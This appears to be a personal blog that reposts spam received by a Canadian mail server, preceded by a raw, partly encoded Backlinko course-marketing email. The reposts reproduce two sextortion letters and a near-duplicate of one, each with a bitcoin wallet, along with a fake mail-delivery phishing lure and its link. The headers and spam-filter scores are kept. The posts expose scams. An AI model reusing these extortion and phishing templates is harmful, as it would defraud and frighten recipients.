There=E2=80=99s also Sumitha, who runs a popular parenting blog.

We also have Bill, someone that travels the country in an RV =E2=80=94 and =

blogs about his travels.

Oh yeah, there=E2=80=99s Mikkel, who has a blog about Microsoft Excel.

These are just 4 of many examples of people that have used my material to g=

row their blog in record time.

Some are B2B. Others are B2C.

Some run marketing agencies. Others sell software.

Some are in mainstream industries. Others are in tiny niches.

On the surface, these successful blogs don=E2=80=99t have a lot in common.

But that=E2=80=99s just the surface.

I recently dug deep into their approaches to figure out what these top 1% p=

erformers did differently to grow their blogs.

And I quickly noticed ONE thing that tied them all together.

They all had a plan.

In other words:

They didn=E2=80=99t =E2=80=9Cwing it=E2=80=9D. They didn=E2=80=99t jump fro=

m random tactic to random tactic. And they didn=E2=80=99t hop on the latest=

and greatest social media platform.

Instead, they calmly executed a concrete plan.

And because they had a plan, they saw their blogs grow quickly =E2=80=94 an=

d consistently.

I see it in my own story, too. When I started my first blog I had NO IDEA w=

hat I was doing.

One day I=E2=80=99d write a list post.

The next day I=E2=80=99d shoot a video.

Then, I=E2=80=99d read about a new social media site that I =E2=80=9Chad to=

be on=E2=80=9D. So I spent the day learning about that platform=E2=80=A6 o=

nly for the platform to drop off the face of the Earth a few weeks later.

And all of these random tactics got me absolutely nowhere.

That=E2=80=99s why, when I launched a blog in the personal finance space a =

few years later, I tried a different approach.

This time I decided to ignore the tactics, the random tidbits, and the shin=

y new platforms. Instead, I put my head down and followed a plan.

And it worked!

My blog=E2=80=99s traffic (and revenue) grew in record time.

After the success of that site, I decided to launch a blog on a topic that =

I was super interested in: digital marketing.

Sure, I knew that marketing was one of the most competitive industries on t=

he planet.

But I also saw an opportunity that I couldn=E2=80=99t pass up.

It didn=E2=80=99t happen overnight. And it took hard work.

But thanks largely to my step-by-step plan, Backlinko grew REALLY fast.

In fact, despite being in one of the most competitive industries on the pla=

net, I went from zero to 24,553 monthly visitors in 6 months.

(In case you=E2=80=99re curious, Backlinko now generates 444,521 monthly vi=

sits)

The big takeaway lesson here is this:

The reason that most people struggle with content marketing isn't "bad cont=

ent" or "not working hard enough".

Most people struggle with their blog because they don=E2=80=99t have a plan.

So they hop from blog post to blog post, YouTube video to YouTube video, ho=

ping to put the pieces together.

It very rarely works out.

But those blogs that take off like a rocketship.

The blogs that grow despite launching in competitive industries.

The blogs that =E2=80=9Ccome out of nowhere=E2=80=9D.

They all have (and follow) a plan.

Imagine for a second that you had access to a proven, step-by-step blueprin=

t for growing your blog.

A plan that showed you exactly what to do, when to do it, and in what order.

That would be a game changer, right?

Well, I have a new course, Grow Your Blog Fast, where you=E2=80=99ll see ex=

actly how to grow your blog =E2=80=94 even if you=E2=80=99ve struggled in =

the past.

In this course you get access to proven strategies you can use to quickly g=

et more traffic to your blog. And strategies that show you how to turn that=

traffic into email subscribers and sales.

So if you want a step-by-step plan for growing your blog, I highly recommen=

d signing up.

Join Grow Your Blog Fast.

https://clicks.aweber.com/y/ct/?l=3DO_G3n&m=3D3iK5SVM9aLK8DrP&b=3DMxq.if5r6=

UfATc91CTMP1A

Talk Soon,

Brian

PS: Don=E2=80=99t forget, Grow Your Blog Fast closes tonight at midnight.

If you have a question about the program, feel free to send a message to ou=

r Student Support Team at

support@backlinko.com

. My friendly team is always happy to help.

As always, you're protected by my 30-day, 100% money-back guarantee.

Take the course for a full month. Test out the strategies. Then decide if t=

he course is right for you.

Join Grow Your Blog Fast.

https://clicks.aweber.com/y/ct/?l=3DO_G3n&m=3D3iK5SVM9aLK8DrP&b=3DMxq.if5r6=

UfATc91CTMP1A

Backlinko LLC

1603 Capitol Ave. Suite 310 A266

Cheyenne WY 82001

USA

To unsubscribe or change subscriber options, visit:

https://www.aweber.com/z/r/?TKzMDBycrLRsbBzMTOzMDLRGtCwsrOwsbOxM

--===============8147537540657936993==

Content-Transfer-Encoding: quoted-printable

MIME-Version: 1.0

Content-Type: text/html; charset="utf-8"

Weird Blogs

h: 600px; border-spacing: 0px; border-width: medium; border-style: none;">

x;">

tant; background-color:#ffffff; font-family: Arial, sans-serif; font-size: =

12px;">

=3D"0" cellspacing=3D"0" style=3D"margin-right: 8px; width: 100%; max-width=

: 600px; border-spacing: 0px; border-width: medium; border-style: none;">
--

);">

tyle=3D"width: 100%; max-width: 600px; border-spacing: 0px; border-width: m=

edium; border-style: none;" role=3D"presentation">
"1" style=3D"border-spacing: 0px;">

r" class=3D"container" style=3D"padding: 0px; width: 97%; border-spacing: 0=

px;" aw-contents=3D"1" width=3D"97%" valign=3D"top">

n-parent">

0);">

style=3D"font-family:arial">
=3D"font-family:arial">
kground-color:transparent; color:#000000; text-decoration:none">Hey<=

/span>,

There=E2=80=99s Chris, a guy that started=

an insurance blog to help him land more clients.

There=E2=80=99s also Sumitha, who runs a =

popular parenting blog.

We also have Bill, someone that travels t=

he country in an RV =E2=80=94 and blogs about his travels.

Oh yeah, there=E2=80=99s Mikkel, who has =

a blog about Microsoft Excel.

These are just 4 of many examples of peop=

le that have used my material to grow their blog in record time.

Some are B2B. Others are B2C.

Some run marketing agencies. Others sell =

software.

Some are in mainstream industries. Others=

are in tiny niches.

On the surface, these successful blogs do=

n=E2=80=99t have a lot in common.

But that=E2=80=99s just the surface.
n>

I recently dug deep into their approaches=

to figure out what these top 1% performers did differently to grow their b=

logs.

And I quickly noticed ONE thing that tied=

them all together.

They all had a plan.
ng>

In other words:

They didn=E2=80=99t =E2=80=9Cwing it=E2=

=80=9D. They didn=E2=80=99t jump from random tactic to random tactic. And t=

hey didn=E2=80=99t hop on the latest and greatest social media platform.
pan>

Instead, they calmly executed a concrete =

plan.

And because they had a plan, they saw the=

ir blogs grow quickly =E2=80=94 and consistently.

I see it in my own story, too. When I sta=

rted my first blog I had NO IDEA what I was doing.

One day I=E2=80=99d write a list post.
pan>

The next day I=E2=80=99d shoot a video.
span>

Then, I=E2=80=99d read about a new social=

media site that I =E2=80=9Chad to be on=E2=80=9D. So I spent the day learn=

ing about that platform=E2=80=A6 only for the platform to drop off the face=

of the Earth a few weeks later.

And all of these random tactics got me ab=

solutely nowhere.

That=E2=80=99s why, when I launched a blo=

g in the personal finance space a few years later, I tried a different appr=

oach.

This time I decided to ignore the tactics=

, the random tidbits, and the shiny new platforms. Instead, I put my head d=

own and followed a plan.

And it worked!

My blog=E2=80=99s traffic (and revenue) g=

rew in record time.

After the success of that site, I decided=

to launch a blog on a topic that I was super interested in: digital market=

ing.

Sure, I knew that marketing was one of th=

e most competitive industries on the planet.

But I also saw an opportunity that I coul=

dn=E2=80=99t pass up.

It didn=E2=80=99t happen overnight. And i=

t took hard work.

But thanks largely to my step-by-step pla=

n, Backlinko grew REALLY fast.

In fact, despite being in one of the most=

competitive industries on the planet, I went from zero to 24,553 monthly v=

isitors in 6 months.

(In case you=E2=80=99re curious, Backlink=

o now generates 444,521 monthly visits)

The big takeaway lesson here is this:
an>

The reason that most people struggle with=

content marketing isn't "bad content" or "not working hard enough".=

Most people struggle with their blog beca=

use they don=E2=80=99t have a plan.

So they hop from blog post to blog post, =

YouTube video to YouTube video, hoping to put the pieces together.
p>

It very rarely works out.

But those blogs that take off like a rock=

etship.

The blogs that grow despite launching in =

competitive industries.

The blogs that =E2=80=9Ccome out of nowhe=

re=E2=80=9D.

They all have (and follow) a plan=

.

Imagine for a second that you had access =

to a proven, step-by-step blueprint for growing your blog.

A plan that showed you exactly what to do=

, when to do it, and in what order.

That would be a game changer, right?
n>

Well, I have a new course, Grow Your Blog=

Fast, where you=E2=80=99ll see exactly how to grow your blog =E2=80=

=94 even if you=E2=80=99ve struggled in the past.

In this course you get access to proven s=

trategies you can use to quickly get more traffic to your blog. And strateg=

ies that show you how to turn that traffic into email subscribers and sales=

.

So if you want a step-by-step plan for gr=

owing your blog, I highly recommend signing up.

8DrP&b=3DMxq.if5r6UfATc91CTMP1A">Join Gr=

ow Your Blog Fast.

Talk Soon,

Brian

PS: Don=E2=80=99t forget=

, Grow Your Blog Fast closes tonight at midnight.
p>

If you have a question about the program,=

feel free to send a message to our Student Support Team at
to:support@backlinko.com">support@backlinko.com. My friendly team is al=

ways happy to help.

As always, you're protected by my 30-day,=

100% money-back guarantee.

Take the course for a full month. Test ou=

t the strategies. Then decide if the course is right for you.

8DrP&b=3DMxq.if5r6UfATc91CTMP1A">Join Gr=

ow Your Blog Fast.

container" style=3D"padding: 0px; width: 2%; border-spacing: 0px;" aw-conte=

nts=3D"1" width=3D"2%" valign=3D"top">

ortant;">

rtant; font-family:Helvetica, Arial, sans-serif !important; font-size:12p=

x !important; line-height: 16px; max-width:600px; margin: 0 auto; paddi=

ng: 8px; text-align:center; width:100%;">

Backlinko LLC

1603 Capitol Ave. Suite 310 A266

Cheyenne WY 82001

USA

" style=3D"color: #000000 !important;" target=3D"_blank">Unsubscribe | =

" style=3D"color: #000000 !important;" target=3D"_blank">Change Subscriber =

Options

width=3D"1" height=3D"1">

--===============8147537540657936993==--

Porn bitcoin blackmail phish

Posted by Dave Yadallee on Thursday, August 15. 2019

Return-path:

Envelope-to: sales@nk.ca

Delivery-date: Wed, 14 Aug 2019 16:00:28 -0600

Received: from mx.oorial.thermotherapy.top ([167.71.225.64]:38134)

by doctor.nl2k.ab.ca with esmtps (TLSv1.3:TLS_AES_256_GCM_SHA384:256)

(Exim 4.92.1 (FreeBSD))

(envelope-from )

id 1hy1Jb-000JMJ-EP

for sales@nk.ca; Wed, 14 Aug 2019 16:00:28 -0600

Received: from mx.oorial.thermotherapy.top (mx.oorial.thermotherapy.top [127.0.0.1])

by mx.oorial.thermotherapy.top (Postfix) with ESMTP id 4683RK4ZKcz22QC

for ; Wed, 14 Aug 2019 22:00:13 +0000 (UTC)

Authentication-Results: mx.oorial.thermotherapy.top (amavisd-new);

dkim=pass (1024-bit key) reason="pass (just generated, assumed good)"

header.d=oorial.thermotherapy.top

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=

oorial.thermotherapy.top; h=content-transfer-encoding

:content-type:content-type:mime-version:message-id:x-mailer

:user-agent:reply-to:list-unsubscribe:subject:subject:to:from

:from:date:date; s=dkim; t=1565820013; x=1568412014; bh=L4mibnH2

ItBvH0R+SN1PYbcJBGk2xL9RXqqf6adwPME=; b=FH8LEsC3+yt/N3DZ/JiFxB3d

hn96hNZfnNTXBmAuInLufW3QoBZo+t5oRaDo1CAqyQRY93zr+YBZ2aFZasKG6N+o

5Zn1bXVJqE9Fc4ZbRSv9jdh90uyTiccI08afjPI7OGid1oEs8/1O84MjPGFX6yD8

fc9p+0M0n6vdR7XTx+w=

X-Virus-Scanned: Debian amavisd-new at mx.oorial.thermotherapy.top

Received: from mx.oorial.thermotherapy.top ([127.0.0.1])

by mx.oorial.thermotherapy.top (mx.oorial.thermotherapy.top [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id jtZVV-A0kg-F for ;

Wed, 14 Aug 2019 22:00:13 +0000 (UTC)

Received: from [127.0.0.1] (mx.oorial.thermotherapy.top [127.0.0.1])

by mx.oorial.thermotherapy.top (Postfix) with ESMTP id 4683PL4dV4z227q

for ; Wed, 14 Aug 2019 21:58:30 +0000 (UTC)

Date: Wed, 14 Aug 2019 22:58:30 +0100

From: "N1ghTm4r3"

To: sales@nk.ca

Subject: =?UTF-8?Q?I=20know=20you=20are=20a=20pedophile..?=

List-Unsubscribe:

Reply-To:

User-Agent: CodeIgniter

X-Sender: kristinvandenabeele.438@oorial.thermotherapy.top

X-Mailer: CodeIgniter

X-Priority: 3 (Normal)

Message-ID: <5d54840689043@oorial.thermotherapy.top>

Mime-Version: 1.0

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit

X-Spam_score: 6.4

X-Spam_score_int: 64

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Yeah. I know you are a pedophile. Actually I know way more

about you than you think. I am a computer scientist (internet security specialist)

with affiliation with the Anonymous group. Few months ago you downloaded

an application. That application had a special code implanted purposely. Since

the moment you installed it, your device started to act like a Remote Desktop

I was able to [...]

Content analysis details: (6.4 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[167.71.225.64 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[167.71.225.64 listed in will-spam-for-food.eu.org]

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: thermotherapy.top]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.1 TRACKER_ID BODY: Incorporates a tracking ID number

0.3 LONGWORD BODY: Uses overlong words

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 T_FROM_SUSPICIOUS_NTLD From abused NTLD

Subject: {SPAM?} =?UTF-8?Q?I=20know=20you=20are=20a=20pedophile..?=

Yeah. I know you are a pedophile.

Actually I know way more about you than you think.

I am a computer scientist (internet security specialist) with affiliation

with the Anonymous group.

Few months ago you downloaded an application.

That application had a special code implanted purposely.

Since the moment you installed it, your device started to act like a Remote

Desktop I was able to access anytime.

The program allowed me to access your desktop, your camera(s), your files,

passwords and contact lists. I also know where you live and where you work..

I was observing you for quite some time and what I have collected here is

overwhelming.

I know about your sexual preferences and your interest in young bodies.

I have secured 4 video files clearly showing how you mÉ‘sturbate (captured

from your camera) to young teenagers (captured from your internet browser).

Glued together is a pretty overwhelming evidence that you are a pedophile.

The timestamps on the video files indicate the exact time you have been

mÉ‘sturbating to teenagers:

Sales_nk_ca_1564844732.mp4 (68.3 MB)

Sales_nk_ca_1562099847.mp4 (87.5 MB)

Sales_nk_ca_1562775024.mp4 (87.1 MB)

Sales_nk_ca_1560723630.mp4 (88.7 MB)

I am not here to judge the morality of your sexual preferences, I am here to

make money. Because I know you are a wealthy person and that you do care

about your reputation, I am willing to gÎ¯ve you a chance to atone and I

will leave you alone.

You do know what Bitcoin is, right ?

You must fund a special address with 5,000 Ã™SD in Bitcoin, otherwise, I am

going to seÆžd those video files to your family members, friends and your

work buddies.

I know it may be time consuming to buy 5,000 Ã™SD in bitcoin, so I will

gÎ¯ve you exÉ‘ctly one week. Search on google 'how to buy bitcoin' and seÆžd

it to me.

Enough is enough. I have seen enough..

If you do not Ð…eÆžd the bitcoins in one week, I will also Ð…eÆžd those

video recordings to your local police office. Your life will be ruined,

trust me. Æ¬rÉ‘nsfer details are below..

--------------------------------------------------------

Ð…eÆžd exÉ‘ctly:

0.4915289 BTC

to my bitcoin address:

3DXgZWzYGmTzoFM2bJqYJk9Y8zyjeq8Nxi

(copy and paste)

--------------------------------------------------------

1 BTC is worth 10,185 Ã™SD right now, so Ð…eÆžd exÉ‘ctly: 0.4915289 BTC.

Make sure the amounÈ› and address is copied correctly - this way I will know

the trÉ‘nsfer is coming from you.

As soon as you seÆžd bitcoins, I will remove the videos from my drive and

remove the software allowing me to access your device.

If you do not cooperate, I will start seÆžding out those videos to people

you care about.

Not excluded that after seÆžding to one person, I will ask 10x more from

you. I can make you suffer, trust me.

Don't even think about going to police. If you try, I will immediately know

it and I will Ð…eÆžd them your mÉ‘sturbation videos, pedo.

5,000 Ã™SD is a fair price for my Ð…ileÆžce don't you think?

You have only one week & better act fast.

--------------------------------------------------------

Ð…eÆžd exÉ‘ctly:

0.4915289 BTC

to my bitcoin address:

3DXgZWzYGmTzoFM2bJqYJk9Y8zyjeq8Nxi

(copy and paste)

--------------------------------------------------------

Do not reply to this email, it's an untraceable one time message.

I will contact you.

Remember, I am watching you.

N1ghTm4r3

Phishing as a false main host

Posted by Dave Yadallee on Monday, December 24. 2018

From - Mon Dec 24 06:04:19 2018

X-Account-Key: account2

X-UIDL: 0006895e501fb806

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

X-Mozilla-Keys:

Return-path:

Envelope-to: aboo@doctor.nl2k.ab.ca

Delivery-date: Mon, 24 Dec 2018 06:04:25 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbPuD-0007Lx-P3

for aboo@doctor.nl2k.ab.ca; Mon, 24 Dec 2018 06:04:25 -0700

Resent-From: The Doctor

Resent-Date: Mon, 24 Dec 2018 06:04:25 -0700

Resent-Message-ID: <20181224130425.GB5777@doctor.nl2k.ab.ca>

Resent-To: See root

Received: from nya.nyamera.com ([162.144.69.227]:58997)

by doctor.nl2k.ab.ca with esmtps (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)

(Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbNte-00055x-6x

for root@nk.ca; Mon, 24 Dec 2018 03:56:01 -0700

Received: from [94.100.31.27] (port=53137 helo=len.co.id)

by nya.nyamera.com with esmtpsa (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)

(Exim 4.89_1)

(envelope-from )

id 1gbNt7-00088H-Rt

for root@nk.ca; Mon, 24 Dec 2018 13:55:10 +0300

From: nk.ca

To: root@nk.ca

Subject: ATTENTION root@nk.ca

Date: 24 Dec 2018 02:55:09 -0800

Message-ID: <20181224025509.34A2F21E8524B780@len.co.id>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-OutGoing-Spam-Status: No, score=0.5

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - nya.nyamera.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - len.co.id

X-Get-Message-Sender-Via: nya.nyamera.com: authenticated_id: info@chakasafaris.com

X-Authenticated-Sender: nya.nyamera.com: info@chakasafaris.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 5.3

X-Spam_score_int: 53

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Hi root You have some undelivered incoming mails on root@nk.ca

Follow below portal to prompt delivery to avoid being blocked from receiving

mails.

Content analysis details: (5.3 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[162.144.69.227 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in

dnsbl.ahbl.org

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or

identical to background

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 SUBJ_ATTENTION ATTENTION in Subject

Subject: {SPAM?} ATTENTION root@nk.ca

Hi root

You have some undelivered incoming mails on root@nk.ca

Follow below portal to prompt delivery to avoid being blocked from rec=

eiving mails.

f; FLOAT: left; COLOR: #fffafa; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PA=

DDING-LEFT: 10px; MARGIN: 2px; DISPLAY: block; PADDING-RIGHT: 10px; border-=

radius: 3px" href=3D"http://supportcenterservi.sytes.net/xz/webapp/?email=

=3Droot@nk.ca" rel=3Dnoopener target=3D_blank>PROMPT DELIVERY NOW =

Best Regard,

nk.ca Mail Servicee

More blackmail phish

Posted by Dave Yadallee on Monday, December 24. 2018

From - Mon Dec 24 06:02:19 2018

X-Account-Key: account2

X-UIDL: 0006895b501fb806

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

X-Mozilla-Keys:

Return-path:

Envelope-to: aboo@doctor.nl2k.ab.ca

Delivery-date: Mon, 24 Dec 2018 06:01:49 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbPrh-0005uF-NQ

for aboo@doctor.nl2k.ab.ca; Mon, 24 Dec 2018 06:01:49 -0700

Resent-From: The Doctor

Resent-Date: Mon, 24 Dec 2018 06:01:49 -0700

Resent-Message-ID: <20181224130149.GA5777@doctor.nl2k.ab.ca>

Resent-To: See root

Received: from [37.106.122.235] (port=41255)

by doctor.nl2k.ab.ca with esmtp (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbKHS-000InS-7F

for root@nk.ca; Mon, 24 Dec 2018 00:04:17 -0700

Message-ID: <169842008122104909997516@uos.de>

From: "Security Team"

To: "lyndax69"

Subject: Frauders known your old password (lyndax69). Password must be changed.

Date: 24 Dec 2018 11:40:45 +0200

MIME-Version: 1.0

Content-type: text/plain;

charset="ibm852"

Content-transfer-encoding: 8bit

X-Mailer: Kxovloio fusgwr

X-Spam_score: 5.7

X-Spam_score_int: 57

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Hello! I have bad news for you. 19/09/2018 - on this day I

hacked your OS and got full access to your account root@nk.ca On this day

your account root@nk.ca has password: lyndax69 So, you can change the password,

yes.. But my malware intercepts it every time.

Content analysis details: (5.7 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[37.106.122.235 listed in bb.barracudacentral.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[37.106.122.235 listed in will-spam-for-food.eu.org]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[37.106.122.235 listed in bl.score.senderscore.com]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.3 LONGWORD BODY: Uses overlong words

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

Subject: {SPAM?} Frauders known your old password (lyndax69). Password must be changed.

Hello!

I have bad news for you.

19/09/2018 - on this day I hacked your OS and got full access to your account root@nk.ca

On this day your account root@nk.ca has password: lyndax69

So, you can change the password, yes.. But my malware intercepts it every time.

How I made it:

In the software of the router, through which you went online, was a vulnerability.

I just hacked this router and placed my malicious code on it.

When you went online, my trojan was installed on the OS of your device.

After that, I made a full dump of your disk (I have all your address book, history of viewing sites, all files, phone numbers and addresses of all your contacts).

A month ago, I wanted to lock your device and ask for a not big amount of btc to unlock.

But I looked at the sites that you regularly visit, and I was shocked by what I saw!!!

I'm talk you about sites for adults.

I want to say - you are a BIG pervert. Your fantasy is shifted far away from the normal course!

And I got an idea....

I made a screenshot of the adult sites where you have fun (do you understand what it is about, huh?).

After that, I made a screenshot of your joys (using the camera of your device) and glued them together.

Turned out amazing! You are so spectacular!

I'm know that you would not like to show these screenshots to your friends, relatives or colleagues.

I think $789 is a very, very small amount for my silence.

Besides, I have been spying on you for so long, having spent a lot of time!

Pay ONLY in Bitcoins!

My BTC wallet: 1J5SXcupgaq2tUas5S7wVtf7evJp6YC3LJ

You do not know how to use bitcoins?

Enter a query in any search engine: "how to replenish btc wallet".

It's extremely easy

For this payment I give you two days (48 hours).

As soon as this letter is opened, the timer will work.

After payment, my virus and dirty screenshots with your enjoys will be self-destruct automatically.

If I do not receive from you the specified amount, then your device will be locked, and all your contacts will receive a screenshots with your "enjoys".

I hope you understand your situation.

- Do not try to find and destroy my virus! (All your data, files and screenshots is already uploaded to a remote server)

- Do not try to contact me (you yourself will see that this is impossible, the sender address is automatically generated)

- Various security services will not help you; formatting a disk or destroying a device will not help, since your data is already on a remote server.

P.S. You are not my single victim. so, I guarantee you that I will not disturb you again after payment!

This is the word of honor hacker

I also ask you to regularly update your antiviruses in the future. This way you will no longer fall into a similar situation.

Do not hold evil! I just do my job.

Good luck.

More blackmail phish

Posted by Dave Yadallee on Monday, December 24. 2018

From - Sun Dec 23 18:32:59 2018

X-Account-Key: account2

X-UIDL: 00068944501fb806

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

X-Mozilla-Keys:

Return-path:

Envelope-to: aboo@doctor.nl2k.ab.ca

Delivery-date: Sun, 23 Dec 2018 18:32:52 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbF6y-000A2p-Ce

for aboo@doctor.nl2k.ab.ca; Sun, 23 Dec 2018 18:32:52 -0700

Resent-From: The Doctor

Resent-Date: Sun, 23 Dec 2018 18:32:52 -0700

Resent-Message-ID: <20181224013252.GA37389@doctor.nl2k.ab.ca>

Resent-To: See root

Received: from [111.3.111.213] (port=29837)

by doctor.nl2k.ab.ca with esmtp (Exim 4.91 (FreeBSD))

(envelope-from )

id 1gbEwJ-0006wQ-GE

for doctor@nk.ca; Sun, 23 Dec 2018 18:22:04 -0700

Message-ID: <5C20A51F.3010803@bellsoouth.net>

Date: Mon, 24 Dec 2018 16:21:35 +0700

From: "Security Team"

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.12) Gecko/20100826 Thunderbird/3.0.7

MIME-Version: 1.0

To: "lyndax69"

Subject: Frauders known your old password (lyndax69). Password must be changed.

Content-Type: text/plain; charset=IBM852; format=flowed

Content-Transfer-Encoding: 8bit

X-Spam_score: 5.3

X-Spam_score_int: 53

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.

Content preview: Hello! I have bad news for you. 19/09/2018 - on this day I

hacked your OS and got full access to your account doctor@nk.ca On this day

your account doctor@nk.ca has password: lyndax69 So, you can change the password,

yes.. But my malware intercepts it every time.

Content analysis details: (5.3 points, 5.0 required)

pts rule name description

---- ---------------------- --------------------------------------------------

0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was

blocked. See

http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block

for more information.

[URIs: nk.ca]

1.5 RCVD_IN_CBL RBL: Received via a relay in cbl.abuseat.org

[Blocked - see ]

1.0 RCVD_IN_WSFF RBL: Received via a relay in

will-spam-for-food.eu.org

[111.3.111.213 listed in will-spam-for-food.eu.org]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date

0.3 LONGWORD BODY: Uses overlong words

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

1.0 RCVD_IN_SORBS No description available.

Subject: {SPAM?} Frauders known your old password (lyndax69). Password must be changed.

Hello!

I have bad news for you.

19/09/2018 - on this day I hacked your OS and got full access to your account doctor@nk.ca

On this day your account doctor@nk.ca has password: lyndax69

So, you can change the password, yes.. But my malware intercepts it every time.

How I made it:

In the software of the router, through which you went online, was a vulnerability.

I just hacked this router and placed my malicious code on it.

When you went online, my trojan was installed on the OS of your device.

After that, I made a full dump of your disk (I have all your address book, history of viewing sites, all files, phone numbers and addresses of all your contacts).

A month ago, I wanted to lock your device and ask for a not big amount of btc to unlock.

But I looked at the sites that you regularly visit, and I was shocked by what I saw!!!

I'm talk you about sites for adults.

I want to say - you are a BIG pervert. Your fantasy is shifted far away from the normal course!

And I got an idea....

I made a screenshot of the adult sites where you have fun (do you understand what it is about, huh?).

After that, I made a screenshot of your joys (using the camera of your device) and glued them together.

Turned out amazing! You are so spectacular!

I'm know that you would not like to show these screenshots to your friends, relatives or colleagues.

I think $713 is a very, very small amount for my silence.

Besides, I have been spying on you for so long, having spent a lot of time!

Pay ONLY in Bitcoins!

My BTC wallet: 1J5SXcupgaq2tUas5S7wVtf7evJp6YC3LJ

You do not know how to use bitcoins?

Enter a query in any search engine: "how to replenish btc wallet".

It's extremely easy

For this payment I give you two days (48 hours).

As soon as this letter is opened, the timer will work.

After payment, my virus and dirty screenshots with your enjoys will be self-destruct automatically.

If I do not receive from you the specified amount, then your device will be locked, and all your contacts will receive a screenshots with your "enjoys".

I hope you understand your situation.

- Do not try to find and destroy my virus! (All your data, files and screenshots is already uploaded to a remote server)

- Do not try to contact me (you yourself will see that this is impossible, the sender address is automatically generated)

- Various security services will not help you; formatting a disk or destroying a device will not help, since your data is already on a remote server.

P.S. You are not my single victim. so, I guarantee you that I will not disturb you again after payment!

